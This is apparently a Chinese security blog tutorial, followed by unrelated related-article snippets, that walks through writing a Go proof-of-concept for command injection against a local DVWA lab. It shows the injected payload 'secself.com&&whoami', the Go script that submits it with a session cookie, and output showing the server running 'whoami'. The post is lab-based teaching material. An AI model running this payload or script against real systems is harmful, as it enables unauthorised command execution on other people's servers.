一个POC的诞生,再见 ,脚本小子

hello,大家好我是你们的坤哥,聊聊安全绕不开的话题POC(漏洞概念验证),只知道拿着工具扫的你,尝试过自己写POC吗?

看坤哥极限拉扯你和大手子之间的差距。

配合B站视频观看更佳:

POC(漏洞概念验证脚本)诞生全过程,有手就能写,ChatGPT辅助写POC_哔哩哔哩_bilibili

启动靶场

靶场使用的是DVWA,借助Docker一键启动靶场。

 
$ sudo docker pull vulnerables/web-dvwa
$ sudo docker run --rm -it -p 80:80 vulnerables/web-dvwa
[+] Starting mysql...
[ ok ] Starting MariaDB database server: mysqld.
[+] Starting apache
[....] Starting Apache httpd web server: apache2AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.17.0.2. Set the 'ServerName' directive globally to suppress this message
. ok 
==> /var/log/apache2/access.log <====> /var/log/apache2/error.log <==
[Mon May 08 13:04:56.685132 2023] [mpm_prefork:notice] [pid 306] AH00163: Apache/2.4.25 (Debian) configured -- resuming normal operations
[Mon May 08 13:04:56.685222 2023] [core:notice] [pid 306] AH00094: Command line: '/usr/sbin/apache2'==> /var/log/apache2/other_vhosts_access.log <==

Command Injection

登入DVWA后找到Command Injection

使用Payload触发漏洞,输入框内填入secself.com&&whoami

目前为止已经可以手动测试出漏洞,怎么批量去检测这个同类型漏洞呢?

POC编写思路

从刚才的动作思考一下,浏览器输入网址->回车->页面展示,这几个动作在代码里应该是什么样子的?

  1. 代码请求网址,拿到响应信息
  2. 处理响应信息,匹配关键信息检测出漏洞是否存在?

请求URL地址

按照上面思路,使用Go语言发起Http请求并取得结果。

emm... 感觉很难,完全没思路。

祭出ChatGPT,开始整活

确定ChatGPT角色,方便后续提问。

我们来玩个游戏,你现在是Go语言网络安全脚本专家

好的,我会尽力扮演好这个角色。请问你有什么问题或任务需要我完成吗?

帮我写一个发送http POST请求的函数,请求体是form表单

好的,以下是一个简单的Go语言函数,用于发送HTTP POST请求,请求体为form表单格式:

 
go
import ("net/http""net/url""strings"
)func sendFormPostRequest(url string, formData url.Values) (*http.Response, error) {// 构建HTTP客户端client := &http.Client{}// 将表单数据编码为URL编码格式,并创建一个新的请求体requestBody := strings.NewReader(formData.Encode())// 创建POST请求request, err := http.NewRequest("POST", url, requestBody)if err != nil {return nil, err}// 设置请求头信息request.Header.Set("Content-Type", "application/x-www-form-urlencoded")// 发送请求并返回响应结果response, err := client.Do(request)if err != nil {return nil, err}return response, nil
}

使用示例:

 
go
// 定义表单数据
formData := url.Values{}
formData.Set("username", "john")
formData.Set("password", "123456")// 发送POST请求
response, err := sendFormPostRequest("http://example.com/login", formData)
if err != nil {// 处理错误
}// 读取响应数据
body, err := ioutil.ReadAll(response.Body)
if err != nil {// 处理错误
}// 关闭响应体
defer response.Body.Close()// 输出响应结果
fmt.Println(string(body))

上面代码已经可以发出HTTP请求,整理成咱们可用的代码如下:

 
package mainimport ("fmt""io/ioutil""net/http""net/url""strings"
)// 发送一个POST请求
func sendFormPostRequestWithCookie(url string, formData url.Values) (*http.Response, error) {// 构建HTTP客户端client := &http.Client{}// 将表单数据编码为URL编码格式,并创建一个新的请求体requestBody := strings.NewReader(formData.Encode())// 创建POST请求request, err := http.NewRequest("POST", url, requestBody)if err != nil {return nil, err}// 设置请求头信息request.Header.Set("Content-Type", "application/x-www-form-urlencoded")// 发送请求并返回响应结果response, err := client.Do(request)if err != nil {return nil, err}return response, nil
}func main() {formData := url.Values{}// ip=secself.com%26%26whoami&Submit=SubmitformData.Set("ip", "secself.com&&whoami")formData.Set("Submit", "Submit")// 发送POST请求response, err := sendFormPostRequestWithCookie("http://192.168.111.133/vulnerabilities/exec/",formData)if err != nil {// 处理错误}// 读取响应数据body, err := ioutil.ReadAll(response.Body)if err != nil {// 处理错误}// 关闭响应体defer response.Body.Close()// 输出响应结果fmt.Println(string(body))
}

解决认证问题

上面代码出现一个问题,请求这个接口的时候需要登入,后台直接将咱们重定向到登入界面,这怎么检查呢?

看会坤哥视频冷静冷静

坤哥,果然管用,加个Cookie是不是就解决这个事了

继续,祭出ChatGPT

加上cookie认证

好的,以下是加上cookie认证的Go语言函数,用于发送HTTP POST请求,请求体为form表单格式,并且带有cookie认证:

 
go
import ("net/http""net/url""strings"
)func sendFormPostRequestWithCookie(url string, formData url.Values, cookieName string, cookieValue string) (*http.Response, error) {// 构建HTTP客户端client := &http.Client{}// 将表单数据编码为URL编码格式,并创建一个新的请求体requestBody := strings.NewReader(formData.Encode())// 创建POST请求request, err := http.NewRequest("POST", url, requestBody)if err != nil {return nil, err}// 设置请求头信息request.Header.Set("Content-Type", "application/x-www-form-urlencoded")// 设置Cookie信息cookie := &http.Cookie{Name: cookieName, Value: cookieValue}request.AddCookie(cookie)// 发送请求并返回响应结果response, err := client.Do(request)if err != nil {return nil, err}return response, nil
}

使用示例:

 
go
// 定义表单数据
formData := url.Values{}
formData.Set("username", "john")
formData.Set("password", "123456")// 定义cookie信息
cookieName := "auth_token"
cookieValue := "abcdefg123456789"// 发送POST请求
response, err := sendFormPostRequestWithCookie("http://example.com/login", formData, cookieName, cookieValue)
if err != nil {// 处理错误
}// 读取响应数据
body, err := ioutil.ReadAll(response.Body)
if err != nil {// 处理错误
}// 关闭响应体
defer response.Body.Close()// 输出响应结果
fmt.Println(string(body))

代码简化

ChatGPT有时写的代码需要简化(甚至有时候,一本正经的胡说八道,大家注意区分),将参数cookieName和cookieValue替换成cookie一个就够,函数里也需要对应修改。完整代码如下:

 
package mainimport ("fmt""io/ioutil""net/http""net/url""strings"
)// 发送一个POST请求
func sendFormPostRequestWithCookie(url string, formData url.Values, cookie string) (*http.Response, error) {// 构建HTTP客户端client := &http.Client{}// 将表单数据编码为URL编码格式,并创建一个新的请求体requestBody := strings.NewReader(formData.Encode())// 创建POST请求request, err := http.NewRequest("POST", url, requestBody)if err != nil {return nil, err}// 设置请求头信息request.Header.Set("Content-Type", "application/x-www-form-urlencoded")request.Header.Set("Cookie", cookie)// 发送请求并返回响应结果response, err := client.Do(request)if err != nil {return nil, err}return response, nil
}func main() {formData := url.Values{}// ip=secself.com%26%26whoami&Submit=SubmitformData.Set("ip", "secself.com&&whoami")formData.Set("Submit", "Submit")// 发送POST请求response, err := sendFormPostRequestWithCookie("http://192.168.111.133/vulnerabilities/exec/",formData, "ph_whrt8_XCHW635Gq2UKtlOIVLOdjuhZVyy3UE-z-SYZc_posthog=%7B%22distinct_id%22%3A%22live_23885937%22%2C%22%24device_id%22%3A%22187bc37adb8b3a-068681b057d3b-d565429-384000-187bc37adb9602%22%2C%22%24user_id%22%3A%22live_23885937%22%2C%22%24initial_referrer%22%3A%22%24direct%22%2C%22%24initial_referring_domain%22%3A%22%24direct%22%2C%22%24referrer%22%3A%22%24direct%22%2C%22%24referring_domain%22%3A%22%24direct%22%7D; PHPSESSID=un16srgnuabvgfg0t7n32k6506; security=low")if err != nil {// 处理错误}// 读取响应数据body, err := ioutil.ReadAll(response.Body)if err != nil {// 处理错误}// 关闭响应体defer response.Body.Close()// 输出响应结果fmt.Println(string(body))
}

使用Golang编译器,成功输出如下结果:

 
...
</p></form><pre>PING secself.com (182.92.106.58): 56 data bytes
64 bytes from 182.92.106.58: icmp_seq=0 ttl=127 time=18.381 ms
64 bytes from 182.92.106.58: icmp_seq=1 ttl=127 time=17.445 ms
64 bytes from 182.92.106.58: icmp_seq=2 ttl=127 time=17.546 ms
64 bytes from 182.92.106.58: icmp_seq=3 ttl=127 time=17.140 ms
--- secself.com ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max/stddev = 17.140/17.628/18.381/0.460 ms
www-data
</pre></div>
...

作业

至此大部分代码都写完,大家可以尝试写第2步,检测返回值的内容来判断漏洞信息。

遇到问题,祭坤哥。

作业打到评论区或者群里都可以。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/55414.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

重磅!!即日起,图观引擎正式开放注册!

‍ ‍数据智能产业创新服务媒体 ——聚焦数智 改变商业 图观引擎 自2021年5月 上线内测 历经数千名用户的测试验证和不断的升级迭代 今天终于迎来了好消息&#xff01;&#xff01; 即日起 图观 数字孪生应用开发引擎 正式开放注册 无需内测邀请码 面向所有人开放 公有云 数字…

「硬核」实操如何拥有一个自己的数字人模型

一、前言 近年来&#xff0c;随着人工智能技术&#xff0c;VR&#xff0c;元宇宙等技术的发展&#xff0c;数字人&#xff08;Digital Human&#xff09;逐渐成为研究的热点之一&#xff0c;数字人是指通过计算机技术模拟出的具有人类外表&#xff0c;动作和语言能力的虚拟人物…

「硬核实操」如何拥有一个自己的数字人模型

作者&#xff1a;京东健康 陈刚 一、前言 近年来&#xff0c;随着人工智能技术&#xff0c;VR&#xff0c;元宇宙等技术的发展&#xff08;可以阅读 从Chat-GPT看&#x1f525;技术概念及医疗领域科技与应用场景 &#xff09;&#xff0c;数字人&#xff08;Digital Human&am…

Fay数字人助理版是fay开源项目的重要分支,专注于构建智能数字助理的开源解决方案。它提供了灵活的模块化设计,使开发人员能够定制和组合各种功能模块,包括情绪分析、NLP处理、语音合成和语音输出等。

Fay数字人助理 Fay数字人助理版是fay开源项目的重要分支&#xff0c;专注于构建智能数字助理的开源解决方案。它提供了灵活的模块化设计&#xff0c;使开发人员能够定制和组合各种功能模块&#xff0c;包括情绪分析、NLP处理、语音合成和语音输出等。Fay数字人助理版为开发人员…

ChatGLM模型部署分享

ChatGPT云炬学长 ​关注 先看结果&#xff1a; 部署问题&#xff1a;显卡太小无法加载使用&#xff0c;期间也换了N个显卡&#xff0c;太穷了!>-< 模型描述&#xff1a; 清华开源项目ChatGLM-6B发布。这一项目可以直接部署在本地计算机上&#xff0c;无需联网即可让你…

UE5引擎入门,第一周总结:简单的旋转魔方小项目

基础知识总结 蓝图节点 1.蓝图中的节点是封装好的函数。这些函数功能强大&#xff0c;但由于数目繁多且内部实现不明&#xff08;注&#xff1a;可能是开发环境问题&#xff0c;转到C代码这一步永远无法执行&#xff09;&#xff0c;总会出现一些不明所以的bug&#xff08;比…

PS学习记录-矢量图和位图

目录 概念说明 矢量图 位图 常见的格式类型 矢量图文件格式举例&#xff1a; 位图&#xff08;标量图&#xff09;文件格式举例&#xff1a; 两种图片的适用范围 两种图片的核心差异 1、缩放保真 2、色彩不同 3、格式 4、常用绘图工具 5、占用空间 6、转化 概念说…

Unity中使用矢量图SVG

1.打开PackageManager 2.点击左上角的号&#xff0c;Add package from git URL 3.输入&#xff1a;com.unity.vectorgraphics 免费下SVG测试地址&#xff1a;https://undraw.co/illustrations

ArcMap将png图像矢量化

一、将png图像转成灰度图 图像为语义分割模型生成的二值索引图像&#xff0c;直接用cv2的灰度读取图像模式&#xff0c;然后再另存。 二、配准 首先在ArcGis中加载带有空间坐标的图像&#xff0c;这里选择的是测试图像对应的。&#xff08;加载图像可以直接拉着拖进来&#…

Android开发中使用矢量图

本文我们将介绍一些关于Android矢量图的相关知识点。最新的项目中要求以矢量图替代传统的.png资源文件&#xff0c;所以特意学习了一下Android中的矢量图相关概念&#xff0c;不得不说矢量图还是一个比较好的适配方案。Android从Android5.0开始引入了对矢量图的支持&#xff0c…

Android使用svg矢量图

可缩放矢量图形,SVG不会像位图一样因为缩放而让图片质量下降。 优点&#xff1a;节约空间与内存&#xff0c;常用于简单小图标 SVG 使用 XML 格式定义图形&#xff0c;标准svg根节点为<svg> 在Android中通过Vector实现对svg的支持&#xff0c;根节点为<vector>。 …

位图和矢量图转换工具推荐

相信做平面设计的大家&#xff0c;都遇到过素材是位图放大后不清晰的情况&#xff0c;十分影响设计的美观。而矢量图是根据几何特性来绘制图形&#xff0c;放大后图像不会失真。所以这篇文章教大家位图转矢量图。 一、使用CorelDRAW CorelDRAW是一款专业的平面设计软件,专注于…

将图片快速转换为矢量地图-半自动地图矢量化工具raster_tracer的使用方法

最近需要根据一幅jpeg地图绘制矢量地图&#xff0c;如果一点一点绘制太麻烦&#xff0c;又不想装庞大的arcgis用arcscan处理&#xff0c;查了些资料&#xff0c;发现深度学习在这方面也没啥进展。最后查到了QGIS有一款半自动地图矢量化工具raster_tracer可以解决这个问题&#…

关于 draw.io 矢量图 SVG 导出的研究

draw.io 是一个简单易用的图表 (diagram) 绘制工具 1, 可以用作一个简单的矢量图绘制工具, 画一些简单的图标或者流程图等等都很适合. 虽然好用, 但是在导出 *.drawio 文件为其他格式时, 大多数时候都需要额外注意. 导出设计时会遇到的问题及原因 对于 PNG 导出, 默认的设置…

【GlobalMapper精品教程】043:图片自动矢量化

本文讲解Globalmapper自动矢量化教程,配套案例数据。 参考教程:ArcGIS实验教程——实验三十三:ArcScan自动矢量化完整案例教程 文章目录 一、加载实验数据二、启动矢量化工具三、矢量化栅格四、矢量化结果五、注意事项一、加载实验数据 打开配套实验数据包中的data043.rar…

C#代码实现矢量画图

要实现C#代码画矢量图&#xff0c;其基本原理是先创建一个容器作为画板&#xff0c;然后创建Line(直线)、PolyLine(多段线)、Rectangle(矩形)或者Ellipse(椭圆)基本绘图对象生成各种矢量图形&#xff0c;最后把这些图形对象添加到画板中即可&#xff0c;一般用Canvas容器作为画…

matplotlib绘图并导出eps矢量图和svg矢量图

matplotlib导出矢量图并解决中文无法正常显示问题 做仿真经常需要输出各种矢量图用于论文插图&#xff0c;下面展示了导出eps矢量图和svg矢量图的方法&#xff1a; import numpy as np import matplotlib.pyplot as pltplt.rcParams[font.sans-serif] [SimHei] # 用来正常显…

知识库AI机器人客服(基于ChatGPT3.5)对接-唯一客服系统文档中心

此功能是利用chatgpt训练企业知识开发个性化客服系统&#xff0c;可以上传自有数据&#xff0c;基于向量数据库与OpenAI Embedding&#xff0c;以及OpenAI chat/completions接口&#xff0c;实现的基于自建知识库的ChatGPT AI客服功能 管理员创建集合 向量数据库集合&#xff0…

Lazada跨境卖家必备的精细化运营工具Ushop BI的智能化选品功能

东南亚跨境电商市场的不断发展壮大&#xff0c;使得东南亚市场成为了许多跨境商家的掘金圣地&#xff0c;而Lazada作为东南亚市场的两大跨境电商平台之一&#xff0c;其发展潜力是不容小觑的&#xff0c;许多商家入驻Lazada平台是希望可以在这里将店铺做大做好&#xff0c;那俗…

跨境电商选品重要吗?

选品很重要&#xff01; 跨境电子商务选择的核心要求&#xff1a;优质商品&#xff0c;价格优势&#xff0c;符合跨境销售特点&#xff0c;满足目标海外市场需求&#xff0c;突出自身特色竞争优势。 跨境电商是如何选择产品的&#xff1f; 这个问题也很流行&#xff0c;应该考虑…